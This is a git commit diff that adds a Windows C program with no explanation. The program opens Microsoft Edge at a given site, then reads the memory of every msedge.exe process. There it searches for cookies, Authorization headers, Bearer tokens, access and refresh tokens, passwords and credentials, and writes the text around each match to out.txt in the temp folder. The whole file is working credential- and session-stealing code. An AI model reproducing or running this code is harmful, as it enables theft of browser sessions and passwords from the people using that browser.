Upload files to "/"
This commit is contained in:
@@ -0,0 +1,122 @@
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <shellapi.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define CHUNK_SIZE 65536
|
||||
|
||||
static const char *needles[] = {
|
||||
"Set-Cookie", "set-cookie",
|
||||
"Authorization", "Bearer ",
|
||||
"access_token", "refresh_token",
|
||||
"password", "credential",
|
||||
NULL
|
||||
};
|
||||
|
||||
static void scan_pid(DWORD pid, const char *site, FILE *f) {
|
||||
HANDLE hp = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
|
||||
if (!hp) return;
|
||||
|
||||
SIZE_T site_len = strlen(site);
|
||||
SYSTEM_INFO si;
|
||||
GetSystemInfo(&si);
|
||||
BYTE *addr = (BYTE *)si.lpMinimumApplicationAddress;
|
||||
BYTE *maxaddr = (BYTE *)si.lpMaximumApplicationAddress;
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
BYTE buf[CHUNK_SIZE];
|
||||
|
||||
BOOL site_found = FALSE;
|
||||
for (BYTE *p = addr; p < maxaddr; ) {
|
||||
if (VirtualQueryEx(hp, p, &mbi, sizeof(mbi)) != sizeof(mbi)) { p += 4096; continue; }
|
||||
if (mbi.State == MEM_COMMIT &&
|
||||
(mbi.Protect & (PAGE_READONLY|PAGE_READWRITE|PAGE_WRITECOPY|
|
||||
PAGE_EXECUTE_READ|PAGE_EXECUTE_READWRITE)) &&
|
||||
!(mbi.Protect & PAGE_GUARD)) {
|
||||
BYTE *base = (BYTE *)mbi.BaseAddress;
|
||||
SIZE_T left = mbi.RegionSize;
|
||||
while (left > 0) {
|
||||
SIZE_T chunk = left > CHUNK_SIZE ? CHUNK_SIZE : left;
|
||||
SIZE_T nread = 0;
|
||||
if (ReadProcessMemory(hp, base, buf, chunk, &nread) && nread >= site_len)
|
||||
for (SIZE_T i = 0; i + site_len <= nread; i++)
|
||||
if (memcmp(buf+i, site, site_len) == 0) { site_found = TRUE; break; }
|
||||
if (site_found) break;
|
||||
base += chunk; left -= chunk;
|
||||
}
|
||||
}
|
||||
if (site_found) break;
|
||||
p = (BYTE *)mbi.BaseAddress + mbi.RegionSize;
|
||||
}
|
||||
|
||||
if (!site_found) { CloseHandle(hp); return; }
|
||||
|
||||
for (BYTE *p = addr; p < maxaddr; ) {
|
||||
if (VirtualQueryEx(hp, p, &mbi, sizeof(mbi)) != sizeof(mbi)) { p += 4096; continue; }
|
||||
if (mbi.State == MEM_COMMIT &&
|
||||
(mbi.Protect & (PAGE_READONLY|PAGE_READWRITE|PAGE_WRITECOPY|
|
||||
PAGE_EXECUTE_READ|PAGE_EXECUTE_READWRITE)) &&
|
||||
!(mbi.Protect & PAGE_GUARD)) {
|
||||
BYTE *base = (BYTE *)mbi.BaseAddress;
|
||||
SIZE_T left = mbi.RegionSize;
|
||||
while (left > 0) {
|
||||
SIZE_T chunk = left > CHUNK_SIZE ? CHUNK_SIZE : left;
|
||||
SIZE_T nread = 0;
|
||||
if (ReadProcessMemory(hp, base, buf, chunk, &nread) && nread > 0) {
|
||||
for (int n = 0; needles[n]; n++) {
|
||||
SIZE_T nlen = strlen(needles[n]);
|
||||
for (SIZE_T i = 0; i + nlen <= nread; i++) {
|
||||
if (memcmp(buf+i, needles[n], nlen) == 0) {
|
||||
SIZE_T start = i > 80 ? i-80 : 0;
|
||||
SIZE_T end = i+200 < nread ? i+200 : nread;
|
||||
for (SIZE_T j = start; j < end; j++) {
|
||||
unsigned char c = buf[j];
|
||||
fputc(c >= 0x20 && c < 0x7F ? c : '.', f);
|
||||
}
|
||||
fputc('\n', f);
|
||||
fflush(f);
|
||||
i += nlen;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
base += chunk; left -= chunk;
|
||||
}
|
||||
}
|
||||
p = (BYTE *)mbi.BaseAddress + mbi.RegionSize;
|
||||
}
|
||||
|
||||
CloseHandle(hp);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc < 2) return 1;
|
||||
|
||||
const char *site = argv[1];
|
||||
|
||||
ShellExecuteA(NULL, "open",
|
||||
"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
site, NULL, SW_SHOWNORMAL);
|
||||
Sleep(5000);
|
||||
|
||||
WCHAR tmp[MAX_PATH];
|
||||
GetTempPathW(MAX_PATH, tmp);
|
||||
char tmp_a[MAX_PATH];
|
||||
WideCharToMultiByte(CP_ACP, 0, tmp, -1, tmp_a, MAX_PATH, NULL, NULL);
|
||||
strcat(tmp_a, "out.txt");
|
||||
|
||||
FILE *f = fopen(tmp_a, "w");
|
||||
if (!f) return 1;
|
||||
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) { fclose(f); return 1; }
|
||||
|
||||
PROCESSENTRY32W pe = { sizeof(pe) };
|
||||
if (Process32FirstW(snap, &pe)) do {
|
||||
if (_wcsicmp(pe.szExeFile, L"msedge.exe") == 0)
|
||||
scan_pid(pe.th32ProcessID, site, f);
|
||||
} while (Process32NextW(snap, &pe));
|
||||
|
||||
CloseHandle(snap);
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user